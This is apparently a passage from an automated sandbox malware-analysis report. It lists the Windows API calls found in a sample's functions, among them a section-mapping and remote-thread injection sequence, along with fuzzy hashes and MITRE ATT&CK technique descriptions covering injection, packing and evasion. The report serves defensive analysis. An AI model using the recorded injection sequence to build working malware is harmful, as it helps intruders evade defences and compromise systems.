Instruction Fuzzy Hash: 81512971900245BFEF209F91CC48FEB7BB8EF85B00F14416AF912BA1A5D6749945CB24

Function 00401541 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: fdd984ed4eabfdf3fe245d48b6addcc777c2a155290e4dc39758af1e8cc42314
Instruction ID: 68c08b8250816e380b35483fe5a52fcf5a4ffa7bf922b91d474b11e8be87ed95
Opcode Fuzzy Hash: fdd984ed4eabfdf3fe245d48b6addcc777c2a155290e4dc39758af1e8cc42314
Instruction Fuzzy Hash: 99512AB1900205BFEF209F95CC48FEB7BB8EF85B10F14412AFA12BA1E5D6749945CB24

Function 00401545 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9036e7d1caaa2f73f8ffe8f81ed6686f8338ecb8473fc941f507ff01140d436f
Instruction ID: b5c9534ba5f5358dff2a074a80b826bd55324152c05987841a878028393b6fdb
Opcode Fuzzy Hash: 9036e7d1caaa2f73f8ffe8f81ed6686f8338ecb8473fc941f507ff01140d436f
Instruction Fuzzy Hash: 94513AB1900245BFEF209F95CC48FEF7BB8EF85B00F14415AF911BA2A5D6749945CB24

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7e7aa486a7cba38a24c4655809e077ce32b0d632fdebb8ad14eb01bbdf3cd026
Instruction ID: 8d6641cc39e0a23de402a6cd7af9a8bcce9404ceaedab19c941a5a8b34b5f284
Opcode Fuzzy Hash: 7e7aa486a7cba38a24c4655809e077ce32b0d632fdebb8ad14eb01bbdf3cd026
Instruction Fuzzy Hash: 8C5119B1900205BFEF209F95CC48FEFBBB8EF85B00F14411AFA11AA2A5D6759945CB24

Function 00402FFA Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403122
NtTerminateProcess.NTDLL ref: 00403133

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: be8e4cb5e493dd895ba0f666486257db29135dc3ef83a78b0b3b9a47898ca96e
Instruction ID: 67905ead67b615cb9fd2ac39997d468ff33d28dd355ca5d175fe45067cf906e9
Opcode Fuzzy Hash: be8e4cb5e493dd895ba0f666486257db29135dc3ef83a78b0b3b9a47898ca96e
Instruction Fuzzy Hash: 8B414732618E0C4FD778EE6CA88966377D5E798351B1643AAD809D3389EE30D85183C5

Function 005A003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 005A024D

Strings

cess, xrefs: 005A018D
kernel32.dll, xrefs: 005A008F, 005A0095

Memory Dump Source

Source File: 0000000F.00000002.1688048281.00000000005A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_5a0000_tesubba.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 339b6381adfffe255570805e1953e9d3465a61c11f423d1475d0b3c283b03e5d
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3B526874A11229DFDB64CF58C984BACBBB1BF09304F1480D9E94DAB291DB30AE95DF14

Function 00418770 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00513D70), ref: 0041884F
GetProcAddress.KERNEL32(00000000,0041E298), ref: 0041888C
VirtualProtect.KERNELBASE(00513BB4,00513D6C,00000040,?), ref: 004188AB

Strings

, xrefs: 004187B5

Memory Dump Source

Source File: 0000000F.00000002.1687832752.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_40b000_tesubba.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-3916222277
Opcode ID: ff9a43801e185d10054e4e34767694ffcb7e86b2b941098a4c4c71e4807009e3
Instruction ID: 2b977b853b8716191c274d39b2deee1532fc6552ce3022b0d9a41b083186e0cb
Opcode Fuzzy Hash: ff9a43801e185d10054e4e34767694ffcb7e86b2b941098a4c4c71e4807009e3
Instruction Fuzzy Hash: D8316F18508780CAE301DB79FC257823F6AAB75744F04D0ACD54C8B3B1D7BA5618E36E

Function 005D04BF Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 005D04E7
Module32First.KERNEL32(00000000,00000224), ref: 005D0507

Memory Dump Source

Source File: 0000000F.00000002.1688128712.00000000005CD000.00000040.00000020.00020000.00000000.sdmp, Offset: 005CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_5cd000_tesubba.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 030aa1044a22010c8a6a9bdea70e0361df3f6a28b217e74efe28ba26a380c176
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E4F06232100715ABDB302AF9A88DFAE7AE8BF49725F10152BE746922C0DA70E8454A61

Function 005A0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,005A0223,?,?), ref: 005A0E19
SetErrorMode.KERNELBASE(00000000,?,?,005A0223,?,?), ref: 005A0E1E

Memory Dump Source

Source File: 0000000F.00000002.1688048281.00000000005A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_5a0000_tesubba.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: ce7575169f36a7c85206fcae42e0fcb861aa2e687c756cbd9285e154151780ed
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 18D0123114512877DB002A94DC09BCD7F1CDF09B62F008411FB0DD9080C770994046E5

Function 0040190E Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 2faec9f74094ce0f08c74674007c6dc18df4c3c5133ab61c0808bb95c55d4a7d
Instruction ID: c3efed824753038ef125f202698f45fd900918c8f6410fb3a7b527937a7c5fc5
Opcode Fuzzy Hash: 2faec9f74094ce0f08c74674007c6dc18df4c3c5133ab61c0808bb95c55d4a7d
Instruction Fuzzy Hash: D811BFB220C204EBEB00AA908C52EAA3754AF05710F248137BA42791F1C57D9A13F75B

Function 005D017E Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 005D01CF

Memory Dump Source

Source File: 0000000F.00000002.1688128712.00000000005CD000.00000040.00000020.00020000.00000000.sdmp, Offset: 005CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_5cd000_tesubba.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 60788a742c64776e54784f44ec570ccbfcc81a7c3646c8970c12ee563341e4fe
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 97112D79A00208EFDB11DF98C989E99BFF5AF08350F058095F9489B361D371EA90DB80

Function 00401902 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 038fd76a8208d0ddfff32e2f40036fbca87feb8e69a48f33ff6f35dc682cef07
Instruction ID: 207861a3759c1b147de2553678edefd9187cc257709d93c52e233f88d5e7a3be
Opcode Fuzzy Hash: 038fd76a8208d0ddfff32e2f40036fbca87feb8e69a48f33ff6f35dc682cef07
Instruction Fuzzy Hash: B70169F1208209FBEB009A908D61EBA3668AB05760F700133BA13781F5D57C9A53E76B

Function 00401922 Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: c88f444a594768d2d4fab485523800559cc166debe3a6fe30cf89bfb996ff5f6
Instruction ID: 578df434b3d236032839297bc76fd9486bb072801922ad90ba2380d7086ecf03
Opcode Fuzzy Hash: c88f444a594768d2d4fab485523800559cc166debe3a6fe30cf89bfb996ff5f6
Instruction Fuzzy Hash: 95F05EB1208209FBEF009F908D61EAA3729AF05710F644137BA52781F5D63CDA53EB1B

Function 0040192B Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 45864dc147576a9e119c499a9794f12b744a0bfa5c226a532e69094f16d3b09b
Instruction ID: b5d34a972f1ec939c421f577379ccf4d396b21f1793fd223155277739043cea6
Opcode Fuzzy Hash: 45864dc147576a9e119c499a9794f12b744a0bfa5c226a532e69094f16d3b09b
Instruction Fuzzy Hash: 5AF05EB1218209FBEB009F908D61EBA3629AF05310F644177BA12781F5C63DDA23E75B

Function 0040193C Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 14db16c3e861f19ad5dfd30c38be67768c01ca1c8fcdc6992631d9b2414dadb5
Instruction ID: c277f467d3f9426b8f9a73765fdcab00a649fd51b95b24d53f0d4f33e3e8ae71
Opcode Fuzzy Hash: 14db16c3e861f19ad5dfd30c38be67768c01ca1c8fcdc6992631d9b2414dadb5
Instruction Fuzzy Hash: F7F037B1108209FBDF009F94CD51EAA3729AF09310F644577BA12781F5C63DDA12E72B

Function 00401932 Relevance: 1.3, APIs: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d565b972daf1ea01d692af33d09a01f0ed4f5aa4668cdc6292c3b22aaefac0ec
Instruction ID: 30c85490bd3e36b3d7497cee73256dee3cb4488b2b17691bada95d8d1bd3f612
Opcode Fuzzy Hash: d565b972daf1ea01d692af33d09a01f0ed4f5aa4668cdc6292c3b22aaefac0ec
Instruction Fuzzy Hash: 33F037B1204205FBDF009F94CD91EAE3629AF05310F644173BA12791F5D67DDA12E75B

Function 00418740 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,00513D6C,00418DAF), ref: 00418748

Memory Dump Source

Source File: 0000000F.00000002.1687832752.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_40b000_tesubba.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 8edb2acf596b02bf36b0311ec2b3e3f34bd0854dc09103549fc4bb4fc422a900
Instruction ID: 68696ac1b9cb92420161d977e59fd9b705cf74f057d8962c0b4e3d7dbc73b596
Opcode Fuzzy Hash: 8edb2acf596b02bf36b0311ec2b3e3f34bd0854dc09103549fc4bb4fc422a900
Instruction Fuzzy Hash: FDB012F0A492009FD700CF54FC64BD03B74F358302F00C061F500C2164EB304908EB10

Non-executed Functions

Function 004189D0 Relevance: 6.0, APIs: 4, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00418A04
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418A1F
HeapCreate.KERNEL32(00000000,00000000,00000000), ref: 00418A42
GetNumaProcessorNode.KERNEL32(?,00000000), ref: 00418A51

Memory Dump Source

Source File: 0000000F.00000002.1687832752.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_40b000_tesubba.jbxd

Similarity

API ID: CreateDeviceEnvironmentFreeHeapNodeNumaProcessorQueryStrings
String ID:
API String ID: 2776817195-0
Opcode ID: 87efacac19a89b0c53b9dbb33d5e1312a162f1387c04757d6307752c4e174176
Instruction ID: bd9cb2cda3ccdbb603686fa1a54157cb247b1e4b5f6e470ed3bcac1d3601a900
Opcode Fuzzy Hash: 87efacac19a89b0c53b9dbb33d5e1312a162f1387c04757d6307752c4e174176
Instruction Fuzzy Hash: ED018474A402049BD760EB64EC55BE937B8FB1C755F00807BFA05A72D0DE746E88CB9A

Function 00418950 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

BuildCommDCBA.KERNEL32(00000000,?), ref: 00418964
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418976

Strings

-, xrefs: 004189AF

Memory Dump Source

Source File: 0000000F.00000002.1687832752.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_40b000_tesubba.jbxd

Similarity

API ID: BuildCommEnvironmentFreeStrings
String ID: -
API String ID: 2991353152-2547889144
Opcode ID: a724ab6c00ba43ed920c74289dad73afc07e5f40d831fe2fe4a3629ab1fe5b50
Instruction ID: b4672369b185086f5e4321c569724b1a241b362aa46ae39454cd2dcc54bfc028
Opcode Fuzzy Hash: a724ab6c00ba43ed920c74289dad73afc07e5f40d831fe2fe4a3629ab1fe5b50
Instruction Fuzzy Hash: 2DF0FCB18242449ADB119BA5DD807FE7B68E709330F51422EED0466240CB794EC59797

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

